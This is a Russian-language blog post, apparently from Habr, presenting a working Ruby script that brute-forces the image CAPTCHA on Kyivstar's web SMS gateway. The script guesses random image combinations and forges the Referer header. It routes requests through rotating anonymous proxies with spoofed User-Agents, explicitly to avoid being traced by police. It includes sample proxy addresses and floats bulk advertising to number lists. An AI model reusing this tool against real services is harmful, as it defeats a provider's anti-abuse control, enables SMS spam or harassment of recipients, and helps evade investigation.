Как стать автором
Обновить

Отправляем смс без выбора картинок капчи

Как-то давненько, отправляя смс со странички Киевстара, не загрузились картинки капчи(видел 9 вращающихся спинеров, думаю я не один, у кого такое наблюдалось). И я наугад выбрал нужное количество изображений живой природы и на на удивление сообщение было принято. Сразу же родилась идея написать скрипт/программку/робота для избавления пользователя от «рутинного» способа отправки смс.

Воплотить это в жизнь тогда не хватило умений/времени. Немного позже на одной из местных конференций докладчик (Дмитрий Р.) рассказывал про такой же способ и более того сразу продемонстрировал работу — одному добровольцу начали сыпаться смс от Киевстара. Меня передёрнуло. И я начал вынашивать «коварный» план.

Как всё устроено


HTML форма лежит во фрейме по пути smsgate.kyivstar.ua/sms. Но форму можно получить только отправив POST запрос.
Форма содержит до десятка инпутов(скрытых и доступных пользователю), но самые важные — это:
1. `mobcode` — код номера (3-х значный)
2. `number` — собственно номер (7-ми значный)
3. `message` — сообщение
4. `live_images` — выбранные картинки
5. `images_sid` — ключ вашей формы или id вашего сообщения

С кодом, номером и сообщением — всё понятно, а вот с остальными немного нужно прояснить.
4) В `live_images` картинки попадают в цифровой форме, то есть номера. Например если нужно выбрать 3 картинки, то получим строку «020509» (2-ю, 5-ю и 9-ю картинки).
5) При каждом запросе формы, ей присваивается ключ, который ложится в `images_sid`. И при каждом неудачном отправлении формы — присваивается новый ключ. Этот ключ также дублируется в куке (или не дублируется, а основной; нас это не должно беспокоить, если правильно всё отправлять). Он используется Киевстаром для получения набора картинок для конкретной формы, а так же получать статусы сообщения (постановка в очередь, доставка, не доставка)

Итак приступим


По долгу службы работы я пишу на языке ruby, поэтому скрипт/программу написал именно на нём.
  • Для работы скрипта обязательны подключения следующих либ/гем:
    net/http, uri, active_support
  • При получении и отправке формы скорее всего наш IP записывается, поэтому дабы не быть пойманным отделом К (ну или хотя бы затруднить отлов, а может мы им вообще не нужны ибо нет состава преступления), ходим через анонимный прокси.
  • Для существенного ускорения отправки смс, картинки перебираем в несколько потоков (больше 3-х дает вероятность отправки 1-й смс в течении до полторы минуты, чаще всего получал десятки секунд), один поток ходит только через одну проксю.
  • Внутри потока используем бесконечный цикл с условием остановки отправки сообщения хотя бы одним потоком. Ошибки возникающие при доставке/отправке формы, подавляем.
  • Для удобства список прокси серверов вынес в отдельный файл с простым синтаксисом
    <proxy_ip>:<proxy_port>\n
  • Дабы ещё больше увести от себя взгляд, в каждом потоке рандомно отправляем левый User-Agent.
  • Очень важный нюанс: при отправке формы обязательно нужно указывать «Referer», иначе сервер будет видеть подмену
  • Отправку формы делаем когда требуется указать 2 картинки (так как по комбинаторике это дает меньше всего вариантов, а следовательно большая вероятность попадания), остальные случаи просто пропускаем


Для красивости: при успешной отправке смс проигрываем симатишную мелодию и выводим нотифай(ubuntu).
image
приятная мелодия тыц | зеркало
notify-send -i ~/scripts/sms.png 'SMS' 'Поставлено в очередь.'
mpg123 ~/scripts/sms_baraban.mp3 -q


Ну и сам листинг

К сожалению парсер не дает разместить весь листинг целиком, поэтому выложу в статье основные методы и дам ссылку на весь скрипт.

Copy Source | Copy HTML
  1. def send_data(num, msg, uid, imgs)
  2.   proxy_addr = @proxy_ip
  3.   proxy_port = @proxy_port
  4.   url = "http://smsgate.kyivstar.ua/sms/?lang=en"
  5.   url = URI.parse(url)
  6.   request = Net::HTTP::Post.new(url.path+"?lang=en")
  7.   params = {
  8.     :sms_adv => '0',
  9.     :submitted => 'true',
  10.     :mobcode => "#{num[0..2]}",
  11.     :number => "#{num[3..-1]}",
  12.     :lat => '0',
  13.     :message => "#{msg}",
  14.     :live_images => "#{imgs}",
  15.     :images_sid => "#{uid.to_s}"
  16.   }
  17.   request.set_form_data(params)
  18.   request['cookie'] = "images_sid=#{uid}"
  19.   request['User-Agent'] = @ua
  20.   request['Referer'] = "http://smsgate.kyivstar.ua/sms/?lang=en"
  21.   html = Net::HTTP::Proxy(proxy_addr, proxy_port).start("smsgate.kyivstar.ua") { |http| http.request(request) }
  22.   return html.body
  23. end

Данный метод отправляет номер, сообщение, ключ и выбранные картинки. Полученый ответ отдаем в следующий метод.

Copy Source | Copy HTML
  1. def get_result_of_sent(html)
  2.   result = html.match(/<p class="comment">([\w .]+)<\/p>/)
  3.   raise "wrong status of delivering :(" if result.nil? || result[1] == 'nonenone'
  4.   return result[1]
  5. end

В котором парсим нужный DOM-элемент и получаем результат отправки: «Wrong choice of images», «Message accepted and enqueued» или вообще какую-то серверную ошибку. Если же получаем «Wrong choice of images», то полученую страничку передаем в следующий метод, который вытягивает ключ и нужное количество картинок.
Copy Source | Copy HTML
  1. def get_uid_and_count(html)
  2.   sid = html.match(/"hidden" name="images_sid" value="(\d+)"/)
  3.   raise "failed to get images_sid" if sid.nil? || sid[1] == 'nonenone'
  4.   count = html.match(/To send SMS please show (\d) images with nature/)
  5.   raise "failed to get image count" if count.nil? || count[1] == 'nonenone'
  6.   return [sid[1], count[1]]
  7. end

Генерим номера картинок и подготавливаем строку картинок.
Copy Source | Copy HTML
  1. def random_images(count)
  2.   ok = []
  3.   count.to_i.times do |i|
  4.     notadded = true
  5.     while notadded do
  6.       r = rand(9)+1
  7.       unless ok.include?(r)
  8.         ok << r
  9.         notadded = false
  10.       end
  11.     end
  12.   end
  13.   ok.sort
  14. end
  15.  
  16. def prepare_img(img_string)
  17.   result = img_string.strip.split(//)
  18.   result = result.join("0")
  19.   result = "0" + result
  20.   result
  21. end

После опять вызываем метод send_data(num, msg, uid, imgs). И всё повторяется до тех пор, пока не получим нужный ответ.

Весь код здесь | зеркало

Подстраиваем и запускаем

Ложим файл «proxy.list» рядом с нашим скриптом и с таким содержимым(для примера, живые и быстрые прокси сервера несложно настрелять у гугла):
79.138.39.83:8123
193.169.40.36:3128
89.28.178.40:8080
193.226.4.7:80
61.244.235.34:3128

Указываем правильно пути для мп3 и картинки(по желанию) для pop-up и проигрывания мелодии.
Открываем консоль, делаем наш скрипт запускным либо запускаем интерпретатором ruby
c параметрами
ruby sms.rb 0676543210 'Hello World!' 10

10 — это количество потоков, по умолчанию 3.
После запуска сразу увидим используемые прокси сервера и результат их проверки(через форму Киевстара), помечаемые [ok] или [bad]. Плохие прокси лучше удалять из списка, чтобы они не занижали общий результат.

Что получилось





Куда расшириться


  • После отправки запускать механизм проверки на доставку сообщения — это просто, так как у нас есть ключ нашего сообщения, и так же выводить нотифай (и мелодию).
  • Добавить пару методов, которые будут брать из файла список номеров и отправлять какую-то рекламу (надеюсь до этого не дойдёт).
  • Сделать из этого псевдо шлюз с вебмордой, какой-то апплет/виджет для ОС или плагин для браузера.
  • Для большей защиты от дурака запретить использовать прокси сервер, если он не скрывает наш IP.
  • Переписать скрипт на баш. А также сделать silent mode, чтоб ничего не отображалось в процессе отправки.


любителям консоли посвящается…
Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.